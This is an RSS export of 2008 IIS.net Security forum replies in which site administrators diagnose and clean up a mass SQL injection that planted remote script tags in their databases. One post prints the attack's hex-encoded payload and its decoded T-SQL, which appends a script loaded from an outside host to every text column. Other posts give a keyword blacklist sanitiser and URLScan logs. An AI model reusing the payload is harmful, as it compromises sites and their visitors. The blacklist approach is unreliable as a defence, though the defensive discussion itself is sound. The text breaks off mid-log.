<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="http://forums.iis.net/utility/FeedStylesheets/rss.xsl" media="screen"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:cs="http://blogs.iis.net/"><channel><title>Security</title><link>http://forums.iis.net/1031.aspx</link><description>A forum aimed at helping understand IIS security such as Authentication, IP restrictions, and SSL</description><dc:language>en</dc:language><generator>CommunityServer 2007 SP1 (Build: 20510.895)</generator><item><title>Re: Anyone know about www.nihaorr1.com/1.js?</title><link>http://forums.iis.net/thread/1887442.aspx</link><pubDate>Sat, 13 Dec 2008 02:14:22 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:1887442</guid><dc:creator>Paul Bishop</dc:creator><slash:comments>0</slash:comments><comments>http://forums.iis.net/thread/1887442.aspx</comments><wfw:commentRss>http://forums.iis.net/commentrss.aspx?SectionID=1031&amp;PostID=1887442</wfw:commentRss><description>&lt;p&gt;this is an sql injection attack. you must remove the &amp;lt;script ..... to ...&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;p&gt;it copies it self at the end of any text column it can. &lt;/p&gt;
&lt;p&gt;in asp&lt;/p&gt;
&lt;p&gt;&amp;lt;%&lt;/p&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;function&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;&lt;font color="#000000"&gt; stripQuotes(strWords) &lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;stripQuotes = replace(strWords, &lt;/font&gt;&lt;font color="#a31515" size="2"&gt;&lt;font color="#a31515" size="2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;, &lt;/font&gt;&lt;font color="#a31515" size="2"&gt;&lt;font color="#a31515" size="2"&gt;&amp;quot;&amp;#39;&amp;#39;&amp;quot;&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;)&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt; 
&lt;p&gt;&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;end&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt; &lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;function&lt;/p&gt;&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;function&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt; killChars(strWords) &lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;
&lt;p&gt;&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;dim&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt; badChars&lt;/p&gt;&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;dim&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt; newChars&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;badChars = &lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;array&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;(&lt;/font&gt;&lt;font color="#a31515" size="2"&gt;&lt;font color="#a31515" size="2"&gt;&amp;quot;select &amp;quot;&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;, &lt;/font&gt;&lt;font color="#a31515" size="2"&gt;&lt;font color="#a31515" size="2"&gt;&amp;quot;drop &amp;quot;&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;, &lt;/font&gt;&lt;font color="#a31515" size="2"&gt;&lt;font color="#a31515" size="2"&gt;&amp;quot;;&amp;quot;&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;, &lt;/font&gt;&lt;font color="#a31515" size="2"&gt;&lt;font color="#a31515" size="2"&gt;&amp;quot;--&amp;quot;&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;, &lt;/font&gt;&lt;font color="#a31515" size="2"&gt;&lt;font color="#a31515" size="2"&gt;&amp;quot;insert &amp;quot;&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;, &lt;/font&gt;&lt;font color="#a31515" size="2"&gt;&lt;font color="#a31515" size="2"&gt;&amp;quot;delete &amp;quot;&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;, &lt;/font&gt;&lt;font color="#a31515" size="2"&gt;&lt;font color="#a31515" size="2"&gt;&amp;quot;xp_&amp;quot;&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;, &lt;/font&gt;&lt;font color="#a31515" size="2"&gt;&lt;font color="#a31515" size="2"&gt;&amp;quot; or &amp;quot;&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;, &lt;/font&gt;&lt;font color="#a31515" size="2"&gt;&lt;font color="#a31515" size="2"&gt;&amp;quot;or &amp;quot;&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;)&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt; 
&lt;p&gt;newChars = strWords&lt;/p&gt;
&lt;p&gt;&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;for&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt; i = 0 &lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;to&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt; &lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;uBound&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;(badChars)&lt;/p&gt;newChars = replace(newChars, badChars(i), &lt;/font&gt;&lt;font color="#a31515" size="2"&gt;&lt;font color="#a31515" size="2"&gt;&amp;quot;&amp;quot;&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;)&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt; 
&lt;p&gt;&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;next&lt;/p&gt;&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;
&lt;p&gt;killChars = newChars&lt;/p&gt;
&lt;p&gt;&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;end&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt; &lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;function&lt;/p&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;&lt;/font&gt;
&lt;p&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;bco = stripQuotes(killChars(replace(request(&amp;quot;bco&amp;quot;), &amp;quot;&amp;#39;&amp;quot;, &amp;quot;&amp;quot;)))&lt;/font&gt;&lt;/font&gt; 
&lt;p&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;&lt;/font&gt;&lt;/font&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;%&amp;gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;you must use this on all requested data&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;you must even use it on things like request server variables&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;because the 1.js file link can be attached to os or ref server vars &lt;/font&gt;&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;do it on the backend as well or textbox or chk box radio if your requesting it it can be attached no need to worry about session objects unless you request an element and assign it to a session object integers are not affected &lt;/font&gt;&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;this is a sample script of how to remove from the db&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font color="#0000ff"&gt;os is the text column&lt;/font&gt;&lt;/p&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font size="2"&gt;&amp;lt;% response.Buffer=&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;False&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt; %&amp;gt;&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt; 
&lt;p&gt;&amp;lt;%&lt;/p&gt;
&lt;p&gt;Server.ScriptTimeout = 50000&lt;/p&gt;&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;
&lt;p&gt;dim&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;&lt;font color="#000000"&gt; pida(4500000)&lt;/font&gt;&lt;/p&gt;&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;
&lt;p&gt;dim&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;&lt;font color="#000000"&gt; descr(4500000)&lt;/font&gt;&lt;/p&gt;&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;dim&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;&lt;font color="#000000"&gt; ldescr(4500000)&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt; 
&lt;p&gt;SQLStmt = &lt;/font&gt;&lt;font color="#a31515" size="2"&gt;&lt;font color="#a31515" size="2"&gt;&amp;quot;SELECT osid, os From OS &amp;quot;&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;&lt;/p&gt;&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;Set&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt; RS = dbSubs.Execute(SQLStmt) &lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;do&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt; &lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;while&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt; checkrs(rs)&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt; 
&lt;p&gt;&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;if&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt; &lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;len&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;(rs(&lt;/font&gt;&lt;font color="#a31515" size="2"&gt;&lt;font color="#a31515" size="2"&gt;&amp;quot;os&amp;quot;&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;)) &amp;gt; 0 &lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;then&lt;/p&gt;&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;pida(i) = rs(&lt;/font&gt;&lt;font color="#a31515" size="2"&gt;&lt;font color="#a31515" size="2"&gt;&amp;quot;osid&amp;quot;&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;)&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt; descrx = replace(rs(&lt;/font&gt;&lt;font color="#a31515" size="2"&gt;&lt;font color="#a31515" size="2"&gt;&amp;quot;os&amp;quot;&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;), &lt;/font&gt;&lt;font color="#a31515" size="2"&gt;&lt;font color="#a31515" size="2"&gt;&amp;quot;&amp;lt;script src=http://17gamo.com/1.js&amp;gt;&amp;lt;/script&amp;gt;&amp;quot;&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt; ,&lt;/font&gt;&lt;font color="#a31515" size="2"&gt;&lt;font color="#a31515" size="2"&gt;&amp;quot;&amp;quot;&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;)&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt; &lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;
&lt;p&gt;descr(i) = &lt;font size="2"&gt;replace(descrx, &lt;/font&gt;&lt;font color="#a31515" size="2"&gt;&lt;font color="#a31515" size="2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;, &lt;/font&gt;&lt;font color="#a31515" size="2"&gt;&lt;font color="#a31515" size="2"&gt;&amp;quot;&amp;quot;&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;)&lt;/p&gt;&lt;/font&gt;
&lt;p&gt;i = I + 1&lt;/p&gt;
&lt;p&gt;&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;end&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt; &lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;if&lt;/p&gt;&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;
&lt;p&gt;rs.movenext&lt;/p&gt;&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;loop&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt; &lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;for&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt; p = 0 &lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;to&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt; (i -1)&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt; 
&lt;p&gt;response.Write pid &amp;amp; &lt;/font&gt;&lt;font color="#a31515" size="2"&gt;&lt;font color="#a31515" size="2"&gt;&amp;quot; &amp;quot;&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt; &amp;amp; descr(p) &amp;amp; &lt;/font&gt;&lt;font color="#a31515" size="2"&gt;&lt;font color="#a31515" size="2"&gt;&amp;quot;&amp;lt;br&amp;gt;&amp;quot;&lt;/p&gt;&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;SQLStmt = &lt;/font&gt;&lt;font color="#a31515" size="2"&gt;&lt;font color="#a31515" size="2"&gt;&amp;quot;UPDATE&amp;nbsp;OS SET&amp;nbsp;os = &amp;#39;&amp;quot;&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt; &amp;amp; descr(p) &amp;amp; &lt;/font&gt;&lt;font color="#a31515" size="2"&gt;&lt;font color="#a31515" size="2"&gt;&amp;quot;&amp;#39; WHERE osid= &amp;#39;&amp;quot;&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt; &amp;amp; pida(p) &amp;amp; &lt;/font&gt;&lt;font color="#a31515" size="2"&gt;&lt;font color="#a31515" size="2"&gt;&amp;quot;&amp;#39; ; &amp;quot;&lt;/p&gt;&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;Set&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt; RS = dbSubs.Execute(SQLStmt)&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;/font&gt;&lt;font color="#0000ff" size="2"&gt;&lt;font color="#0000ff" size="2"&gt;next&lt;/p&gt;&lt;/font&gt;&lt;/font&gt;&lt;font size="2"&gt;
&lt;p&gt;%&amp;gt;&lt;/p&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;</description></item><item><title>Re: Anyone know about www.nihaorr1.com/1.js?</title><link>http://forums.iis.net/thread/1877627.aspx</link><pubDate>Tue, 26 Aug 2008 04:21:25 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:1877627</guid><dc:creator>silkyfixer</dc:creator><slash:comments>0</slash:comments><comments>http://forums.iis.net/thread/1877627.aspx</comments><wfw:commentRss>http://forums.iis.net/commentrss.aspx?SectionID=1031&amp;PostID=1877627</wfw:commentRss><description>&lt;p&gt;problem is that i can dump all the logs and parse through them but i dont know what to look for&amp;nbsp;since the urlscan kicks out the declare it must be something else.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;silkyfixer&lt;/p&gt;</description></item><item><title>Re: Anyone know about www.nihaorr1.com/1.js?</title><link>http://forums.iis.net/thread/1877626.aspx</link><pubDate>Tue, 26 Aug 2008 02:38:25 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:1877626</guid><dc:creator>silkyfixer</dc:creator><slash:comments>0</slash:comments><comments>http://forums.iis.net/thread/1877626.aspx</comments><wfw:commentRss>http://forums.iis.net/commentrss.aspx?SectionID=1031&amp;PostID=1877626</wfw:commentRss><description>&lt;p&gt;ok i have no&amp;nbsp;idea but somehow the urlscan is not working i put in the statemets of your config and it still got infected today. there must be some way around the declare statement.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;is there any way to create a trigger on the mssql database to tell me what site the update injects the script code . since i never insert or update any of my tables with &amp;lt;script in it i think this will pinpoint were the attack is coming from.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;my urlscan shows it blocking declare and other random injections but it still gets infected. so i would assume they are no longer using a declare statement. or have a way around the declare statement.&lt;/p&gt;
&lt;p&gt;again over 500 sites connect to the same database so i have no idea how or where the injection comes from.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;i am not a coder so i would not know where or how to write a trigger to store in a log file where the injection came from.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;thank you &lt;/p&gt;
&lt;p&gt;silkyfixer&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description></item><item><title>Re: Anyone know about www.nihaorr1.com/1.js?</title><link>http://forums.iis.net/thread/1877484.aspx</link><pubDate>Fri, 22 Aug 2008 22:22:45 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:1877484</guid><dc:creator>silkyfixer</dc:creator><slash:comments>0</slash:comments><comments>http://forums.iis.net/thread/1877484.aspx</comments><wfw:commentRss>http://forums.iis.net/commentrss.aspx?SectionID=1031&amp;PostID=1877484</wfw:commentRss><description>&lt;p&gt;when this first happend to me last year befor the massive web attack i copied all the log files to my unix box and i used grep to parse through the files. it took me a while to pin point the injection since it was not in the wild at the time. I had coder write a decrypt script to decode the hex&lt;/p&gt;
&lt;p&gt;#!/usr/bin/perl&lt;/p&gt;
&lt;p&gt;my $s=&amp;lt;&amp;lt;&amp;quot;EOF&amp;quot;;&lt;br /&gt;4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F72204355&lt;br /&gt;52534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E732062205748&lt;br /&gt;45524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220&lt;br /&gt;622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D2054&lt;br /&gt;61626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E2045584543282755504441&lt;br /&gt;5445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522838303030292C5B272B40432B275D2929&lt;br /&gt;2B27273C736372697074207372633D687474703A2F2F7777772E62616E6E657238322E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348&lt;br /&gt;204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C&lt;br /&gt;4F43415445205461626C655F437572736F72&lt;br /&gt;EOF&lt;br /&gt;while (length($s)&amp;gt;0) {&lt;br /&gt;&amp;nbsp; my $hex=substr($s,0,2); $s=substr($s,2,length($s));&lt;br /&gt;&amp;nbsp; my $ch=hex($hex); $ch=pack(&amp;quot;C&amp;quot;,$ch);&lt;br /&gt;&amp;nbsp; print $ch;&lt;/p&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;p&gt;now decoded you notice that its what was in the wild&lt;/p&gt;
&lt;p&gt;DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype=&amp;#39;u&amp;#39; AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC(&amp;#39;UPDATE [&amp;#39;+@T+&amp;#39;] SET [&amp;#39;+@C+&amp;#39;]=RTRIM(CONVERT(VARCHAR(8000),[&amp;#39;+@C+&amp;#39;]))+&amp;#39;&amp;#39;&amp;lt;script src=http://www.banner82.com/b.js&amp;gt;&amp;lt;/script&amp;gt;&amp;#39;&amp;#39;&amp;#39;) FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor&lt;/p&gt;
&lt;p&gt;&amp;nbsp;the question is have they found a new way to inject without the declare or a way around dequoting the injection. i have a fealing its a new type of attack and they dont use a declare.&lt;/p&gt;
&lt;p&gt;i will sift through the logs and see what i can find but its hard when you&amp;nbsp;have hundreds of sites and log files&lt;/p&gt;
&lt;p&gt;&amp;nbsp;it would be great if someone could write a trigger for mssql so that anytime an update contains %&amp;lt;script etc.. it will tell me what site it came from. this would help out greatly as i can then pinpoint where it came from. maybe mssql-scan :)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description></item><item><title>Re: Anyone know about www.nihaorr1.com/1.js?</title><link>http://forums.iis.net/thread/1877478.aspx</link><pubDate>Fri, 22 Aug 2008 20:22:22 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:1877478</guid><dc:creator>steve schofield</dc:creator><slash:comments>0</slash:comments><comments>http://forums.iis.net/thread/1877478.aspx</comments><wfw:commentRss>http://forums.iis.net/commentrss.aspx?SectionID=1031&amp;PostID=1877478</wfw:commentRss><description>&lt;p&gt;If you are running the rtw version of URLScan3, the logs are w3c complient and you can use log parser against it.&amp;nbsp; Also, in the logs you posted, have the SITEID property.&amp;nbsp; That way would help narrow down which requests being blocked.&lt;/p&gt;
&lt;p&gt;you could select the s-siteid property.&amp;nbsp; You could sort it by ID ascending then compare.&amp;nbsp; That is one way off-hand if you have a lot of sites hiting the db.&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;a href="http://blogs.iis.net/nazim/archive/2008/08/19/urlscan-v3-0-rtw-released.aspx"&gt;http://blogs.iis.net/nazim/archive/2008/08/19/urlscan-v3-0-rtw-released.aspx&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Another way would be to create a log parser script that goes through your w3svc files and pipes the data to an external file.&amp;nbsp; When hunting and pecking like this, copying the affected files to a separate location and hitting with log parser is effective.&amp;nbsp; You could have a recursive script copy the log to a single location then hit with log parser.&amp;nbsp; Hope that helps.&lt;/p&gt;</description></item><item><title>Re: Anyone know about www.nihaorr1.com/1.js?</title><link>http://forums.iis.net/thread/1877465.aspx</link><pubDate>Fri, 22 Aug 2008 17:25:11 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:1877465</guid><dc:creator>silkyfixer</dc:creator><slash:comments>0</slash:comments><comments>http://forums.iis.net/thread/1877465.aspx</comments><wfw:commentRss>http://forums.iis.net/commentrss.aspx?SectionID=1031&amp;PostID=1877465</wfw:commentRss><description>&lt;p&gt;here is a snibblet from the log of the urlscan you can see it kicks out the declare so how did it sneak through ? i have about 500 websites that connect to the database so its hard to pinpoint were or how it gets through&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;[08-22-2008 - 11:41:59] Client at 80.99.117.220: Rule &amp;#39;Edge&amp;#39; detected string &amp;#39;declare&amp;#39; in the query string. Request will be rejected.&amp;nbsp; Site Instance=&amp;#39;1489121054&amp;#39;, Raw URL=&amp;#39;/m.asp&amp;#39;&lt;br /&gt;[08-22-2008 - 11:46:44] Client at 189.46.158.208: Rule &amp;#39;Edge&amp;#39; detected string &amp;#39;declare&amp;#39; in the query string. Request will be rejected.&amp;nbsp; Site Instance=&amp;#39;1489121054&amp;#39;, Raw URL=&amp;#39;/m-webtv.asp&amp;#39;&lt;br /&gt;[08-22-2008 - 12:05:47] Client at 189.129.167.129: Rule &amp;#39;Edge&amp;#39; detected string &amp;#39;declare&amp;#39; in the query string. Request will be rejected.&amp;nbsp; Site Instance=&amp;#39;1489121054&amp;#39;, Raw URL=&amp;#39;/m.asp&amp;#39;&lt;br /&gt;[08-22-2008 - 12:05:48] Client at 189.129.167.129: Rule &amp;#39;Edge&amp;#39; detected string &amp;#39;declare&amp;#39; in the query string. Request will be rejected.&amp;nbsp; Site Instance=&amp;#39;1489121054&amp;#39;, Raw URL=&amp;#39;/m.asp&amp;#39;&lt;br /&gt;[08-22-2008 - 12:13:54] Client at 59.29.234.153: Rule &amp;#39;Edge&amp;#39; detected string &amp;#39;declare&amp;#39; in the query string. Request will be rejected.&amp;nbsp; Site Instance=&amp;#39;1489121054&amp;#39;, Raw URL=&amp;#39;/m.asp&amp;#39;&lt;br /&gt;[08-22-2008 - 12:20:58] Client at 201.170.148.3: Rule &amp;#39;Edge&amp;#39; detected string &amp;#39;declare&amp;#39; in the query string. Request will be rejected.&amp;nbsp; Site Instance=&amp;#39;1489121054&amp;#39;, Raw URL=&amp;#39;/m.asp&amp;#39;&lt;br /&gt;[08-22-2008 - 12:20:59] Client at 201.170.148.3: Rule &amp;#39;Edge&amp;#39; detected string &amp;#39;declare&amp;#39; in the query string. Request will be rejected.&amp;nbsp; Site Instance=&amp;#39;1489121054&amp;#39;, Raw URL=&amp;#39;/m.asp&amp;#39;&lt;br /&gt;[08-22-2008 - 12:32:01] Client at 189.24.155.56: Rule &amp;#39;Edge&amp;#39; detected string &amp;#39;declare&amp;#39; in the query string. Request will be rejected.&amp;nbsp; Site Instance=&amp;#39;1489121054&amp;#39;, Raw URL=&amp;#39;/m-webtv.asp&amp;#39;&lt;br /&gt;[08-22-2008 - 12:32:01] Client at 189.24.155.56: Rule &amp;#39;Edge&amp;#39; detected string &amp;#39;declare&amp;#39; in the query string. Request will be rejected.&amp;nbsp; Site Instance=&amp;#39;1489121054&amp;#39;, Raw URL=&amp;#39;/m.asp&amp;#39;&lt;br /&gt;[08-22-2008 - 12:37:57] Client at 189.149.188.56: Rule &amp;#39;Edge&amp;#39; detected string &amp;#39;declare&amp;#39; in the query string. Request will be rejected.&amp;nbsp; Site Instance=&amp;#39;1489121054&amp;#39;, Raw URL=&amp;#39;/m.asp&amp;#39;&lt;br /&gt;[08-22-2008 - 12:37:57] Client at 189.149.188.56: Rule &amp;#39;Edge&amp;#39; detected string &amp;#39;declare&amp;#39; in the query string. Request will be rejected.&amp;nbsp; Site Instance=&amp;#39;1489121054&amp;#39;, Raw URL=&amp;#39;/m.asp&amp;#39;&lt;br /&gt;[08-22-2008 - 12:39:22] Client at 201.34.214.205: Rule &amp;#39;Edge&amp;#39; detected string &amp;#39;declare&amp;#39; in the query string. Request will be rejected.&amp;nbsp; Site Instance=&amp;#39;1489121054&amp;#39;, Raw URL=&amp;#39;/m.asp&amp;#39;&lt;br /&gt;[08-22-2008 - 12:39:45] Client at 85.99.42.197: Rule &amp;#39;Edge&amp;#39; detected string &amp;#39;declare&amp;#39; in the query string. Request will be rejected.&amp;nbsp; Site Instance=&amp;#39;1489121054&amp;#39;, Raw URL=&amp;#39;/m.asp&amp;#39;&lt;br /&gt;[08-22-2008 - 12:43:10] Client at 124.121.28.118: Rule &amp;#39;Edge&amp;#39; detected string &amp;#39;declare&amp;#39; in the query string. Request will be rejected.&amp;nbsp; Site Instance=&amp;#39;1489121054&amp;#39;, Raw URL=&amp;#39;/m-webtv.asp&amp;#39;&lt;br /&gt;[08-22-2008 - 12:49:21] Client at 201.211.113.200: Rule &amp;#39;Edge&amp;#39; detected string &amp;#39;declare&amp;#39; in the query string. Request will be rejected.&amp;nbsp; Site 